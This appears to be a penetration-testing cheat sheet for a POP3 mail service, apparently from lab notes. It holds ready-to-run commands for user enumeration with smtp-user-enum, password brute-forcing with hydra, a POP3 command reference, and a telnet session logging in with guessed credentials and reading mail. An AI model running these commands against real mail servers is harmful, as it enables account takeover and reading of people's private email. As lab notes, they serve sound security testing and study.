Check this port only if you need to prioritize this port to be investigated. Often password bruteforcing is time consuming, so check if you can manually login with a username as username and password and read emails.
/usr/share/legion/scripts/smtp-user-enum.pl -U userlist.txt -M VRFY -t 192.168.157.137 -m 64
# -U: user list
# -M: method to use for email verification
# -t: target
# -m: max number of concurrent threads
Bruteforce passwords
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
hydra -l sales -P userlist.txt -f 192.168.157.137 pop3 -V -t 64
# -l: username
# -P: password list
# -f: force to stop once a password is found
# -V: verbose mode
# -t: the number of threads
POP3 commands
USER Your user name for this mail server
PASS Your password.
QUIT End your session.
STAT Number and total size of all messages
LIST Message# and size of message
RETR message# Retrieve selected message
DELE message# Delete selected message
NOOP No-op. Keeps you connection open.
RSET Reset the mailbox. Undelete deleted messages.
Manual login and read emails
# Login
>telnet <IP> pop3
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER ryuu
+OK
PASS ryuu
+OK Welcome ryuu
# Retrieve emails
LIST
+OK 2 1807
1 786
2 1021
RETR 1
RETR 2
QUIT